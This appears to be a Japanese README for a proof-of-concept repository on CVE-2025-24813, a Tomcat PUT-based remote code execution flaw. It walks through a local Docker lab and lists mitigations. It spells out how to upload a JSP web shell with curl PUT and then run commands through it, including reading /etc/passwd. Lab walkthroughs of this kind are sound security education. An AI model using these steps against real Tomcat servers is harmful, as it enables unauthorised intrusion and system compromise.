🚨 CVE-2025-24813 – Apache Tomcat PUT JSP RCE エクスプロイト

このリポジトリには、HTTP PUT メソッドを使用して悪意のある JSP Web シェルをデプロイする、Apache Tomcat のリモートコード実行（RCE）脆弱性 CVE-2025-24813 の完全な概念実証（PoC）が含まれています。

🔥 このエクスプロイトは、適切に保護されていない Tomcat インスタンスにおいて、ファイルアップロードとペイロード実行を通じて攻撃者が RCE を達成できることを示しています。

📁 プロジェクト構造

CVE-2025-24813/
├── docker/                         
│   ├── Dockerfile
│   └── web.xml                    
├── exploit/                        
│   ├── 1_exploit_cve_2025_24813.py
│   └── shell.jsp
├── screenshots/                    
│   ├── 1_tomcat_running.png
│   ├── 2_docker_started.png
│   ├── 3_upload_shell.png
│   ├── 4_run_python_exploit.png
│   ├── 5_access_shell_whoami.png
│   ├── 6_view_etc_passwd.png
│   ├── 7_run_uname.png
│   ├── 8_run_id.png
│   └── 9_run_pwd.png
├── .gitignore
├── LICENSE
└── README.md

🚀 エクスプロイト手順

1️⃣ Docker 環境のセットアップ

cd docker
sudo docker build -t cve-24813-tomcat .
sudo docker run -it -p 8080:8080 cve-24813-tomcat

📸
📸

2️⃣ 悪意のある JSP シェルのアップロード

curl -X PUT --upload-file exploit/shell.jsp http://localhost:8080/shell.jsp

📸

3️⃣ Python エクスプロイトの実行

python3 exploit/1_exploit_cve_2025_24813.py

📸

4️⃣ Web シェルの操作

http://localhost:8080/shell.jsp?cmd=id
http://localhost:8080/shell.jsp?cmd=uname -a
http://localhost:8080/shell.jsp?cmd=cat /etc/passwd

📸
📸
📸
📸
📸

🧩 特長

• 🔧 脆弱な Apache Tomcat サーバーの Docker ベースのセットアップ
• 📥 PUT メソッドを悪用して JSP Web シェルをアップロード・実行
• 🐍 Python ベースの PoC スクリプト
• 📸 スクリーンショットによる完全なウォークスルー
• 📚 レッドチーム演習と教育に最適

🛠️ パッチ適用方法（緩和策）

• 🚫 web.xml またはサーバー設定で PUT/DELETE メソッドを無効化
• ⛓️ セキュリティマネージャーまたはより厳格なサーブレットコンテナ制御を使用
• 🔐 ファイルレベルのアップロードフィルタと検証を適用
• 🧱 WAF を設定して不正な PUT リクエストをブロック
• ✅ パッチ適用済みの安全なバージョンの Apache Tomcat にアップグレード

⚠️ 免責事項

このプロジェクトは教育および研究目的のみです。所有していない、またはテスト許可を得ていないシステムに対する不正なテスト、悪用、使用は違法かつ非倫理的です。

👨‍💻 作成者

Shivshant Patil
Certified Ethical Hacker（CEH v13）
コンピュータ工学学士（B.Tech）卒業
🔗 LinkedIn
🔗 GitHub